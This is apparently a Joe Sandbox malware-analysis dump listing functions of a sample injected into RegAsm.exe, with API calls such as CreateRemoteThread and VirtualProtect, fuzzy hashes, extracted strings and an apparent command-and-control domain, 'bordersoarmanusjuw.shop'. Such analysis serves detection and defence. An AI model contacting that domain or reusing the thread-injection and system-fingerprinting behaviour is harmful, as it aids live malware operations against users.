Source File: 00000000.00000002.1549111349.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_SecuriteInfo.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 7f18e8fa688d1e5f483c062c2ed3de3a5715fed66f660ff19c80d7ea33b431dd
Instruction ID: 39b20c0ac7836ee1c5426af5800077b7efc1502bc2e5ae81f4d2d82b67628ddd
Opcode Fuzzy Hash: 7f18e8fa688d1e5f483c062c2ed3de3a5715fed66f660ff19c80d7ea33b431dd
Instruction Fuzzy Hash: 3C311FB5900289AFCB10CF9AD884ADEBFF4FB48310F10802AE918A7350D375A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D80500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00D810B4

Memory Dump Source

Source File: 00000000.00000002.1549111349.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_SecuriteInfo.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: c5e7c31e664ef29eef125255b9e66c13a5528a2683268af93b9bf7a4750e6210
Instruction ID: 6808dd5479e2cff29a5a46a07786f6c12a8c53dbfb6709d679c363785755276c
Opcode Fuzzy Hash: c5e7c31e664ef29eef125255b9e66c13a5528a2683268af93b9bf7a4750e6210
Instruction Fuzzy Hash: AF31E2B5900349EFCB10DF9AD984ADEBBF5FB48310F20802AE919A7350D375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D804F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03773584,?,?,?), ref: 00D80FC9

Memory Dump Source

Source File: 00000000.00000002.1549111349.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 30fc53681c43860104f37db994910413442fa991ba1fee120c84165e811bd5e1
Instruction ID: 9aed6797cf299f61dd0a122524cf8de77f3aa084a89ce4975d830c9258a77d8a
Opcode Fuzzy Hash: 30fc53681c43860104f37db994910413442fa991ba1fee120c84165e811bd5e1
Instruction Fuzzy Hash: 7521E475D01219AFDB10DF9AD884BDEFBB4FF48310F14812AE918A7740D374A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 6796, Parent PID: 2832COMMON

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	335
Total number of Limit Nodes:	24

Executed Functions

Function 00421670 Relevance: 10.5, Strings: 8, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U=^3, xrefs: 0042170E
M.C, xrefs: 00421736
@-t#, xrefs: 004216F2
l9h?, xrefs: 00421707
-Uk, xrefs: 00421772
}%m;, xrefs: 00421700
m1w7, xrefs: 00421718
e!}', xrefs: 004216F9

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction ID: 6a773ac881d51c05e7616f0b7475f283f1ec1e9526ef155ff2a7bcc4ebfbe97b
Opcode Fuzzy Hash: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction Fuzzy Hash: F90259B5600B008BE328CF25D891B67B7E1FB89705F548A2DD5DA8BBA1EB74F405CB44

Uniqueness

Uniqueness Score: -1.00%

Function 004216CE Relevance: 10.5, Strings: 8, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U=^3, xrefs: 0042170E
M.C, xrefs: 00421736
@-t#, xrefs: 004216F2
l9h?, xrefs: 00421707
-Uk, xrefs: 00421772
}%m;, xrefs: 00421700
m1w7, xrefs: 00421718
e!}', xrefs: 004216F9

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction ID: 87eb36321ec09d9b3df0e99b7a0e046060a02d9914ae414ceb22da4e37e7cf2a
Opcode Fuzzy Hash: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction Fuzzy Hash: 63F137B5200B00CBE328CF25D891B67B7E1FB49705F548A6DD5DA8BAA1EB74F441CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00425183 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1113COMMON

Download Yara Rule

Strings

cfbe, xrefs: 00425CFE
= 'Q, xrefs: 00425EF2

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: = 'Q$cfbe
API String ID: 0-911374196
Opcode ID: 8f88c3b3ccece908d1f00872511f47bae9d136f0ead859ee409d4413e13451d4
Instruction ID: bb3565213d9b5af794c0b6c16da6f42ae929365bcb1d7bd06dd9ed2123aaf00f
Opcode Fuzzy Hash: 8f88c3b3ccece908d1f00872511f47bae9d136f0ead859ee409d4413e13451d4
Instruction Fuzzy Hash: B8924970245B908EE726CB35D494BE3BBE1BF17344F84099DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00409D20 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b, xrefs: 0040A166
j, xrefs: 0040A02C
tQpS, xrefs: 0040A20C
0, xrefs: 00409D96
Y!N#, xrefs: 0040A1EC

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$Y!N#$b$j$tQpS
API String ID: 0-1561506603
Opcode ID: 876ecb51efa7db0d427cb43d4ab28d8b8c7be69b483f57802afdbf3b13a54233
Instruction ID: 77bbfa77775ed737320afc19213c5ed02593b238c67c5d09a0c0deb4d33d9e09
Opcode Fuzzy Hash: 876ecb51efa7db0d427cb43d4ab28d8b8c7be69b483f57802afdbf3b13a54233
Instruction Fuzzy Hash: 221212B02083819BE324CF15C4A4B5BBBE2BBC6308F545D2DE4D59B392D779D8098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004384D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D1B7, xrefs: 0043853B
D1B7, xrefs: 00438412

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: D1B7$D1B7
API String ID: 0-2576811906
Opcode ID: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction ID: 227d40b3051d5b9f1c8533b328a387a81ecb6462684d2791c386ca89a2a782a0
Opcode Fuzzy Hash: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction Fuzzy Hash: BE516CB4518301ABD708DF10D9A172FBBE2BBCA708F04992CE48547351E7B88D05EB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00415B57 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

v, xrefs: 004160D9

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: v
API String ID: 0-1801730948
Opcode ID: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction ID: c80b823732e71f4cdd7a44ad5e5a1a1d83ce3d0079143c9f8b25ab05eee7cb54
Opcode Fuzzy Hash: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction Fuzzy Hash: 69E1DFB15083419FD324CF14C48179FBBE2AFD5308F588A6EE4998B392E739D845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00421F80 Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

A\]D, xrefs: 00422356
vSUN, xrefs: 004223BA

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: A\]D$vSUN
API String ID: 2994545307-3118794373
Opcode ID: 3816abe84869dc2b4f18cfabc0f61e9e218a79ad2f1f4f6bb5b4c30b5567e348
Instruction ID: 035f47e295922484c15501f127bff06197c6eb06fd4f10a441f5a1a71ebf76b5
Opcode Fuzzy Hash: 3816abe84869dc2b4f18cfabc0f61e9e218a79ad2f1f4f6bb5b4c30b5567e348
Instruction Fuzzy Hash: 58C1EEB1608361AFD710CF18D580B2BB7E1FB99318F54892EE5C497342D3B9D905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004212B0 Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

EBC, xrefs: 00421339
s}, xrefs: 00421580

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: s}$EBC
API String ID: 0-541026534
Opcode ID: 0373ac547ce0b58cfd13d5553c6e62dcb0d3512eb57ef2ff761db44294f3b642
Instruction ID: d7b96847a59d0831858f5b8d16e64329f0c99a4ad7ef32cd16afe207355252a1
Opcode Fuzzy Hash: 0373ac547ce0b58cfd13d5553c6e62dcb0d3512eb57ef2ff761db44294f3b642
Instruction Fuzzy Hash: AB91A5B06083518BD724CF14D89076BBBF1FF92358F548A1DE4A68B391E378D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00435ACB Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435B5D

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction ID: ed305ee78db003560d5c2f81a7b8d567382a75ce1c99dc0f9374550bddc06ea8
Opcode Fuzzy Hash: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction Fuzzy Hash: 0611E2705083419FE708CF10D46476BFBA1EBC5318F108A1DE8A92B681C379D90ACB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435B70 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043A5F6,005C003F,00000006,00120089,?,00000018,gxyz,?,0041518F), ref: 00435B9D

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: e4f63ef377a97c2914c676668e3278340bf37c640bd7ba7daadddd8153819c93
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 26E0B675509606EBDA05DF45C14051FF7E2BFC4714FA5C88DE88463204C7B4BD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE30 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043AE98

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: gxyz
API String ID: 0-2474275795
Opcode ID: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction ID: e7b234e54a7d762bb6a3bd1b4f03db8f12db98f9d7bb1013814233ca64f7ddf6
Opcode Fuzzy Hash: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction Fuzzy Hash: F281CA72A043129BD714CF14C8A0B6BB3A1FF88364F25991EE9955B391D338EC15CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043B800 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043B898

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: gxyz
API String ID: 2994545307-2474275795
Opcode ID: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction ID: d5821ae3abbd5b49496d0d32a43c6cb899c31e2747818077e51798368a7f3181
Opcode Fuzzy Hash: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction Fuzzy Hash: FB81DD71608302AFD718CF14D890B2BBBA5EF89354F18991DE9958B391D338E945CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00415390 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

789:, xrefs: 004153B8

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: e2a41e226281f18cb8bae7a3d63a9395d5bdf9e457718c479d57c5fc35bb9d45
Instruction ID: 3d07bc301c4762b4c6ee5a7646427adc52170538d6ac221be9eba05a27c8a57f
Opcode Fuzzy Hash: e2a41e226281f18cb8bae7a3d63a9395d5bdf9e457718c479d57c5fc35bb9d45
Instruction Fuzzy Hash: AA218E78210A40CFE728CF14D8A0B67B3A2FF8A349F64492DD5C647B91E775B841CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00417239 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction ID: 86805473c38cceb78552a0540260a6a94279074ff3da8f2079f33daa4ad5654a
Opcode Fuzzy Hash: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction Fuzzy Hash: D1C141B0510B008BD725CF20C4A46A7BBF2FF85314F545E1DD5A74BAA1D778E54ACB88

Uniqueness

Uniqueness Score: -1.00%

Function 0042A936 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction ID: 235f7b0fceadf091eafc56df715b5c09dc53dff0cccafe78ca5562ce20de9adc
Opcode Fuzzy Hash: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction Fuzzy Hash: 38F0D4B5508381CFD320DF25C94574BBBE5BBC4304F15C92EE88587291D7B9A406CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A245 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042A384

Strings

!, xrefs: 0042A2A3
;, xrefs: 0042A2C3
:, xrefs: 0042A283
D, xrefs: 0042A293
%, xrefs: 0042A2B3
6, xrefs: 0042A2D3
3, xrefs: 0042A273

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;$D
API String ID: 2525500382-2591950249
Opcode ID: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction ID: 963f1b3e5fd6771a7d36494be66c3600f40f07d37cb3ae169d65202430aa07ab
Opcode Fuzzy Hash: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction Fuzzy Hash: 5941B07010CBC18ED331CB29C89878BBBE1ABD6315F044A5DE4E98B391C779950ACB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040DE17
ExitProcess.KERNEL32 ref: 0040DE26
ExitProcess.KERNEL32 ref: 0040DE35
ExitProcess.KERNEL32 ref: 0040DE44

Strings

bordersoarmanusjuw.shop, xrefs: 0040E11C
8C, xrefs: 0040DC75

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$bordersoarmanusjuw.shop
API String ID: 621844428-3969398216
Opcode ID: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction ID: c3754cf6d4af3efd44086515a8e4feea577dce0be4ef3330c692d516742b2779
Opcode Fuzzy Hash: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction Fuzzy Hash: A8222860008BC1CED726CF388498716BFA16B26224F1987DDD8E64F7E7C3759509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5D0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040D824
ExitProcess.KERNEL32 ref: 0040D830
ExitProcess.KERNEL32 ref: 0040D83F
ExitProcess.KERNEL32 ref: 0040D851

Strings

bordersoarmanusjuw.shop, xrefs: 0040DB3D
8C, xrefs: 0040D67B

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$bordersoarmanusjuw.shop
API String ID: 621844428-3969398216
Opcode ID: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction ID: e062613535a096f7c986de94b394a9a3299ac3684046ad9440d4ee051fa42249
Opcode Fuzzy Hash: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction Fuzzy Hash: F1220760508BC1CED726CF388498702BFA16B56224F1887DDD8E94F7E7C3799406CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041E695 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041E7D0
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041E7FE

Strings

y~, xrefs: 0041E6EA
FC, xrefs: 0041E6F1
^t, xrefs: 0041E6E3

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: FC$^t$y~
API String ID: 237503144-1521909807
Opcode ID: 1419d8f477ded67a78741ca854099c5559bba33fb3c5bd11a482c035a1b60d41
Instruction ID: dc40ee493d17d98de78ad753fbd4e82c648e1b0ce4107d9b48fe1586e3a3aa43
Opcode Fuzzy Hash: 1419d8f477ded67a78741ca854099c5559bba33fb3c5bd11a482c035a1b60d41
Instruction Fuzzy Hash: D65159B41007019FD724CF16C894B52BBB1FF85710F158A9CE8AA4FBA6D774E846CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00409240 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004092BA

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0040927D

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction ID: d46854307137c8737da70bb0dadd48020878a784c1cb78799af495398ee7fa65
Opcode Fuzzy Hash: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction Fuzzy Hash: 64F06871418200B7DA003B765A0765A7AA85F51314F11497FEDC1621C3EA7D4C46C66F

Uniqueness

Uniqueness Score: -1.00%

Function 0043890C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 0043894D

Strings

&QPS, xrefs: 00438940
+D, xrefs: 00438958

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS$+D
API String ID: 1279760036-1945338363
Opcode ID: 5a221c8c8d48a07bc67a1f36921e72f54b3f0ffb03ca822637087d99e5969acd
Instruction ID: 459049e7f1910dfcb695529ac4e7c087eddce05ed813d227b7292beb86339d8b
Opcode Fuzzy Hash: 5a221c8c8d48a07bc67a1f36921e72f54b3f0ffb03ca822637087d99e5969acd
Instruction Fuzzy Hash: 8C210CB4608340AFD748CF14D8A072BB7A2FB85324F649A2DE96647691CB399851CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00418640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041867A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 004186A8

Strings

YA, xrefs: 004186C8

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: YA
API String ID: 237503144-686710269
Opcode ID: 29a85f93c1bb2af8cb4c9891d37eac8bbd2469af26d66b4b8cc932ea4869989f
Instruction ID: a0e77e6b5364afb90d31a3fa764f9ee87f1d7ec252d7ac19c8f4855db4dbfd3f
Opcode Fuzzy Hash: 29a85f93c1bb2af8cb4c9891d37eac8bbd2469af26d66b4b8cc932ea4869989f
Instruction Fuzzy Hash: 2D012E35840A04BBD200AB248C86FA7336CEB86724F05421DFA65C72C1DB70B804C6FA

Uniqueness

Uniqueness Score: -1.00%

Function 004340A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004340E2

Strings

\, xrefs: 004340B0
C, xrefs: 004340A8

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction ID: 0b16e51853d0470085fd2b4e6c78b332ddd4def9cb37a61542a3d6919008bdae
Opcode Fuzzy Hash: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction Fuzzy Hash: DFE09275350741BBE728DF10EC27F1A3690D742744F10042CB242E91D0C7F57D108A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004261A1 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !/$*
API String ID: 0-545799914
Opcode ID: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction ID: b2e27cbc9dde12e33a9927742966e6e389a792aa4b3f0ff258c4c825271f69ae
Opcode Fuzzy Hash: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction Fuzzy Hash: C4F13870205B918EE7268F35D4A47E3BBE1BF17304F84499DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004265CC Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004266FC

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: !/$*
API String ID: 3960555810-545799914
Opcode ID: f40c0460829c369a3f4230552505f6c967d0ce460681e0c40c8efd5ab529f4db
Instruction ID: 466006afd69678fcb0a440aae3b801bbbbe4bedcac6f7be2defe912c2a8870dc
Opcode Fuzzy Hash: f40c0460829c369a3f4230552505f6c967d0ce460681e0c40c8efd5ab529f4db
Instruction Fuzzy Hash: 1DD137B0205B918EE7258F35D4A47E3BBE1BF17304F84496DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004383AD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 004384B5

Strings

D1B7, xrefs: 00438412

Memory Dump Source

